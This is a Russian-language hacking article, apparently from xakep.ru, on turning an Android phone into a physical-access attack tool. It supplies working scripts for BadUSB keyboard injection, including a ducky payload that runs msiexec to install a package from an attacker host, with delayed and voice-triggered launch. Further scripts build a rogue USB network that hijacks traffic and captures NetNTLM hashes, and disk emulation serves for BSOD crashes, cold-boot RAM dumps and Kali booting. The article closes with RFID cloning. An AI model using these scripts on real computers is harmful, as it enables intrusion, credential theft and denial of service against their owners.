Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Обычный мобильный телефон на Android может стать грозным оружием в руках хакера — как сам по себе, так и с использованием нескольких дополнительных устройств. Но одного железа для полного успеха недостаточно: чтобы вдохнуть в хакерский смартфон жизнь, необходимо озаботиться софтом. О нем мы сегодня и поговорим.
info
Эта статья — продолжение материала «Киберфон. Превращаем телефон на Android в инструмент хакера». Она завершает цикл публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
В статье «Киберфон. Превращаем телефон на Android в инструмент хакера» был показан простой и универсальный способ создания GNU-окружения — базы для хакерского инструментария. Мы рассмотрели принцип сборки драйверов прямо на устройстве, а также организовали взаимодействие Android с GNU. Затем я продемонстрировал часть хакерских возможностей современного смартфона. Это были самые опасные и распространенные векторы нападения с использованием радиоканала. Давай взглянем, на что способен телефон при непосредственном физическом доступе к атакуемому устройству.
Современные Android-устройства имеют из коробки богатую поддержку эмуляции USB. Например, при подключении к компьютеру телефон обычно спрашивает, как он может быть определен — как сетевое устройство, съемный диск или иначе. Все это эмуляция через так называемые USB-гаджеты. Ты можешь самостоятельно изучить, какие гаджеты уже реализованы в твоем текущем ядре, с помощью мобильного приложения USB Gadget Tool (net.tjado.usbgadget). Среди них наверняка есть поддержка гаджетов для всех возможных BadUSB-атак.
С телефона можно без труда имитировать клавиатуру и выполнить произвольные команды с помощью автоматического ввода — эта атака была описана в статье «Очень плохая флешка. Разбираем атаку BadUSB в деталях». Нам потребуется USB-функция hid.keyboard
, а следующими незамысловатыми командами атакующий может включить в телефоне спрятанные возможности эмуляции клавиатуры:
badusb/hid/start.sh
#!/bin/bashif ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; ficat <<EE | sudo bashcd /sys/kernel/config/usb_gadget/g1/mkdir -p functions/hid.keyboardcd functions/hid.keyboard/echo 1 > protocolecho 1 > subclassecho 8 > report_lengthecho -ne '\x05\x01\x09\x06\xa1\x01\x05\x07\x19\xe0\x29\xe7\x15\x00\x25\x01\x75\x01\x95\x08\x81\x02\x95\x01\x75\x08\x81\x03\x95\x05\x75\x01\x05\x08\x19\x01\x29\x05\x91\x02\x95\x01\x75\x03\x91\x03\x95\x06\x75\x08\x15\x00\x25\x65\x05\x07\x19\x00\x29\x65\x81\x00\xc0' > report_desccd -ln -s functions/hid.keyboard configs/b.1/hid.keyboardecho "" > UDCecho `ls -1 /sys/class/udc/ | head -1` > UDCssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"while sleep 1; do chmod 666 /dev/hidg0 2> /dev/null && break; doneEE
В результате телефон может стать USB-клавиатурой. Активирует нажатия клавиатуры такой скрипт:
badusb/hid/keystrokes.sh
#!/bin/bash[[ $# -eq 1 ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.txt')python2 ./ducky/duckhunter.py -l us "$ducky" /tmp/rubber_ducky.sh
cat /tmp/rubber_ducky.sh
PATH="$PATH:." bash /tmp/rubber_ducky.sh
rm /tmp/rubber_ducky.sh
В случае с телефоном атака BadUSB-hid может выглядеть даже менее подозрительно, чем с флешкой. Ведь если флешку вставит в комп далеко не каждый, то зарядить телефон можно почти у кого угодно.
Телефон на зарядке нажимает клавиши, запускающие команду скачивания и запуска бэкдора
Это отличный социальный вектор атаки. Забавно, но вопреки общему мнению получается, что телефоном взломать комп куда проще, чем компьютером взломать телефон.
Для незаметности злоумышленник может активировать атаку не сразу в момент подключения, а спустя какое‑то время:
sleep 60; badusb/hid/start.sh; badusb/hid/keystrokes.sh
У современного телефона множество датчиков, и триггером к атаке может стать что угодно — освещение, вибрация, движение телефона или даже голосовая команда:
while [ ~/android/listen.sh != "run" ]; do false; done; badusb/hid/keystrokes.sh ducky.txt
android/listen.sh
#!/bin/bashssh -i ~/id_rsa-local -p 8022 localhost "termux-speech-to-text"
Синтаксис ducky-скриптов полностью идентичен описанному в статье про BadUSB-флешку и про ее беспроводной аналог — Mousejack. Самое опасное, что может быть набрано на клавиатуре, — это, например, такой код:
badusb/hid/ducky.txt
GUI r
DELAY 500
STRING msiexec /i https://en.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER
SHIFT ALT
DELAY 300
SHIFT CTRL
DELAY 300
GUI r
DELAY 500
STRING msiexec /i https://ru.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER
Телефон злоумышленника покорно заряжается от компьютера жертвы, но, как только он услышит команду run, срабатывает атака, и компьютер оказывается скомпрометированным за секунду. Злоумышленник может даже удаленно инициировать атаку, подключившись к телефону по VPN, используя 4G и запустив сценарий keystrokes.sh
на телефоне.
Так как имитируется клавиатура, то через /dev/hidg0
можно выполнять обычный интерактивный набор текста прямо на виртуальной клавиатуре телефона:
badusb/hid/keyboard.sh
#!/bin/bashwhile read -n 1 byte
do python2 ducky/keyseed.py "$byte" | ./hid-keyboard /dev/hidg0 keyboard 2> /dev/null
echo "$byte" | xxd | grep -q '1b' && breakdone
А через /dev/hidg1
можно управлять и мышкой:
badusb/hid/mouse.py
#!/usr/bin/python3import cursesfrom os import systemdef main(stdscr): curses.curs_set(0) curses.mousemask(1) while True: key = stdscr.getch() if key == curses.KEY_MOUSE: try: _, x, y, _, _ = curses.getmouse() system("echo {x} {y} | ./hid-keyboard /dev/hidg1 mouse".format(x=x, y=y)) stdscr.addstr(0, 0, "{x} {y} ".format(x=x, y=y)); stdscr.refresh() except: pass elif key == ord("l"): system("echo --b1 | ./hid-keyboard /dev/hidg1 mouse") stdscr.addstr(0, 0, "left click "); stdscr.refresh() elif key == ord("r"): system("echo --b2 | ./hid-keyboard /dev/hidg1 mouse") stdscr.addstr(0, 0, "right click"); stdscr.refresh() elif key == 0x1b: breakcurses.wrapper(main)
Нажатия по консоли в псевдографическом режиме используются, чтобы передать движения курсора на компьютер.
Атаку BadUSB-ETH, позволяющую перехватить сетевой трафик (смотри статью «Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH»), тоже можно провести с телефона. Для этого его нужно слегка настроить:
badusb/eth/start.sh
#!/bin/bashif ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; ficd /sys/kernel/config/usb_gadget/g1
echo 0xff88|sudo tee idProduct
echo 0x2717|sudo tee idVendor
echo 549839c4 | sudo tee strings/0x409/serialnumber
echo rndis_adb | sudo tee configs/b.1/strings/0x409/configuration
sudo ln -s functions/gsi.rndis configs/b.1/f2
echo "" | sudo tee UDC
echo `ls -1 /sys/class/udc/ | head -1` | sudo tee UDC
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"cd -
sleep 1
sudo ifconfig rndis0 up
sudo dnsmasq --conf-file=dnsmasq-attack.conf -p0sudo tcpdump -i rndis0 -nn -c 1 # waiting a connectionsleep 1
read iface table <<< $(ip r show table all|grep default|grep -v dummy|cut -d ' ' -f 5,7)echo "forward to $iface ($table)"sudo ifconfig rndis0 up
sudo ip a add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0
sudo ip r add 192.168.42.0/24 dev rndis0 table 97
sudo ip rule add to 192.168.42.0/24 lookup 97
#sudo ip rule add from all iif lo oif rndis0 lookup 97sudo ip rule add from all iif rndis0 lookup $tablesudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o $iface -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP
sudo tcpdump -i rndis0 -nn
В первом блоке скрипта активируется эмуляция сетевой карты по USB. Она, кстати, может уже присутствовать по умолчанию или быть доступна через обычные настройки телефона: «Настройки → Для разработчиков → Конфигурация USB по умолчанию: USB-модем».
Во втором блоке скрипта запускается кастомный DHCP-сервер, который перекрывает сетевые маршруты жертвы и направляет весь ее трафик в телефон атакующего.
Так как при подключении телефона ОС Android не в состоянии запустить свой DHCP-сервер, настройка интерфейса может прерваться. Поэтому нужно доконфигурировать его самостоятельно, и именно это делается в третьем блоке скрипта.
Скрипт должен быть запущен перед подключением телефона к заблокированному компьютеру, чтобы интерфейс rndis0
на телефоне правильно сконфигурировался. Если все сделано верно, то комп, к которому подключен телефон, также автоматически сконфигурирует уже свой сетевой интерфейс. Далее атакуемый компьютер отправляет весь свой трафик в телефон, в том числе и Wi-Fi, и Ethernet (если они есть). Ведь маршруты действующих сетевых интерфейсов оказались перекрыты USB-сетью.
Далее запускаются уже непосредственно все атаки:
badusb/eth/attack.sh
#!/bin/bashGREEN=$'x1b[32m'RESET=$'x1b[39m'#~/gui.shfor script in $(find on_network/ -type f -perm -u+x)do exec sudo $script rndis0 poisontap &
donewhile echo -n '.'do if [ $(arp -an | sed -rn 's/? (([^)]+)) .*[ether] on rndis0/1/p' | wc -l) -ne 0 ] then break fi sleep 1
donearp -an | sed -rn 's/? (([^)]+)) .*[ether] on rndis0/1/p' | while read ip
do echo $GREEN "client detected" $RESET for script in $(find on_client/ -type f -perm -u+x) do exec sudo $script $ip "" 192.168.42.1 &
donedone
В первом цикле запускаются атаки on_network, универсальные для всех клиентов. Во втором ожидается появление IP-адреса клиента (целевого устройства), а в третьем — запуск на него всех on_client-атак: чекеры уязвимостей, брутфорсеры, сбор данных и так далее. В этом случае, благодаря дисплею телефона, атакующий видит больше информации о ходе процесса.
Телефон создает Ethernet-сеть с заблокированным ноутбуком, перекрывает другие сети и перехватывает хеш пароля
Таким способом вполне реально стянуть NetNTLM-хеш. Если его сбрутить (что тоже достижимо), то удастся обойти блокировку устройства. Если это доменный комп, то такой хеш можно направить на LDAP контроллера домена и, изменив определенные свойства учетки, также обойти аутентификацию. Возможно, атакующему повезет и удастся сразу выполнить произвольный код через какую‑нибудь уязвимость или подобранный пароль, а затем активировать бэкдор. И все это только с помощью телефона!
Помимо устройств ввода (hid) и сетевых карт (eth), Android-телефон (вернее, ядро Linux) умеет эмулировать еще и носители данных — жесткие диски и CD-приводы.
BadUSB-HDD — это подвид BadUSB-атак, который заключается в возможности сымитировать загрузочное устройство при перезагрузке и выполнить там произвольный код. Однако возможность эмуляции диска может быть полезна и для других целей.
В качестве диска используется обычный файл‑образ. Его содержимое — это последовательность байтов. Все, что записано в файле, находится на диске. Следующий скрипт по выбору может имитировать такие заранее подготовленные диски:
badusb/hdd/start.sh
#!/bin/bash[[ $# -ge 1 ]] && disk="$1" || read -p 'disk image (empty=0, vuln_ntfs=1, coldboot=2, kali=3): ' disk
[[ $# -ge 2 ]] && ro="$1"case "$disk" in 0) disk='empty.img'; ro=0 ;; 1) disk='vuln_ntfs.img'; ro=1 ;; 2) disk='coldboot.img'; ro=0 ;; 3) disk='kali.img'; ro=0 ;;esacdisk="$(pwd)/$disk"if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; ficat <<EE | sudo bashcd /sys/kernel/config/usb_gadget/g1echo "$ro" > functions/mass_storage.0/lun.0/roecho '1' > functions/mass_storage.0/lun.0/removableecho "$disk" > functions/mass_storage.0/lun.0/fileEEsleep 1
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config mass_storage,adb'"
Примечательно, что можно сымитировать и readonly-носители так, чтобы ОС или антивирус ничего не удалили. Останавливает эмуляцию диска следующий скрипт:
badusb/hdd/stop.sh
#!/bin/bashif ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; ficat <<EE | sudo bashcd /sys/kernel/config/usb_gadget/g1echo '' > functions/mass_storage.0/lun.0/fileEEsleep 1
ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config none,adb'"
Каждый образ диска может использовать свой сценарий атаки, например:
empty.img
. При подключении эмулируется пустой диск. На него можно скопировать все, что угодно. Файл образа диска на телефоне можно зашифровать и таким образом спрятать похищенную информацию;
vuln_ntfs.img
. Windows при подключении специальным образом поврежденной файловой системой может упасть в BSOD. Если перед злоумышленником некий информационный терминал, то это простой сценарий отказа в обслуживании. Если же перед ним заблокированный комп, на котором таким образом был вызван BSOD, значит, после этого он выйдет на перезагрузку, возможно — с сохраненными в RAM данными. И тут можно перейти к следующему сценарию;
coldboot.img
. Метод, уже описанный в статье «Cold boot attack. Дампим оперативную память с помощью флешки». С телефона атакующий может сдампить оперативную память в файл этого же образа;
kali.img
. Если перед атакующим комп, к которому у него имеется полный физический доступ, и ничего, кроме телефона, под рукой нет — он может эмулировать загрузочный диск Kali Linux (или чего‑то подобного), перезагрузиться с него и начать развитие дальнейших атак. Так злоумышленник обойдет и организационный контроль, ведь у него только телефон, и технический — антивирусы остались на другой ОС.
На рисунке ниже показано, как подключенный к компьютеру по USB телефон эмулирует диск с поврежденной файловой системой, приводящей к BSOD.
Эмуляция жесткого диска по USB с поврежденной файловой системой
Аварийно перезагруженный таким образом компьютер может уйти на перезагрузку с незатертыми данными в RAM. Телефон же в этот момент может эмулировать по USB другой диск — coldboot.img
— и выполнить атаку Cold Boot.
Технологии RFID (125 кГц) и NFC (13,56 МГц) применяются повсеместно для бесконтактной идентификации и преодоления турникетов на заводах, входных дверей кабинетов, подъездов и так далее.
RFID и NFC легко спутать. На вид они слабо отличимы. Есть пара лайфхаков, позволяющих быстро понять, какой тип бесконтактной технологии перед вами. Современные телефоны снабжены NFC и не используют RFID, поэтому если твой телефон среагировал на поднесенную метку, значит, это NFC. Другой способ — визуальный, с использованием фонарика.
Определяем тип бесконтактной карты обычным фонариком
Если просвечивается круглая антенна — это обычно RFID, прямоугольная — NFC. Но возможны и частные случаи. Эти две технологии можно встретить примерно с равной вероятностью. Автоматизированные системы контроля и управления доступом в бизнес‑центрах и на предприятиях чаще работают на RFID, в то время как в гостиницах и отелях — почти всегда на NFC. Также карты оплаты, включая и банковские, работают на основе технологии NFC, но они используют немного иной принцип, поэтому рассматривать их не будем.
Обе технологии применяют бесконтактный метод коммуникации ближнего поля, когда RFID/NFC-чип включается и работает благодаря электромагнитной энергии на малых расстояниях (порядка нескольких сантиметров).
Атаки на RFID и NFC чаще всего связаны с бесконтактным клонированием и последующим повторным использованием. Атаку можно проводить в сочетании с устройством Proxmark. Для его работы требуется собрать драйвер:
CONFIG_USB_ACM=m
make modules M=drivers/usb/class
sudo modprobe cdc-acm
Также нужно собрать соответствующий инструмент с аналогичным именем:
git clone https://github.com/Proxmark/proxmark3
cd proxmark3; make
RFID — технология бесконтактной идентификации, по сути радиометка, чаще всего содержащая 5 байт. Эта технология никак не защищена от несанкционированного чтения и может быть без труда клонирована. RFID можно сравнить с QR-кодом, который легко сфотографировать и использовать повторно, с той лишь разницей, что здесь не оптический канал считывания, а радио-.
Для клонирования метки или, например, пропуска требуется прочитать и эмулировать данные:
rfid/clone.sh
#!/bin/bash./read.sh | while read tag
do echo "$tag" ./emulate.sh "$tag"done
Источник: xakep.ru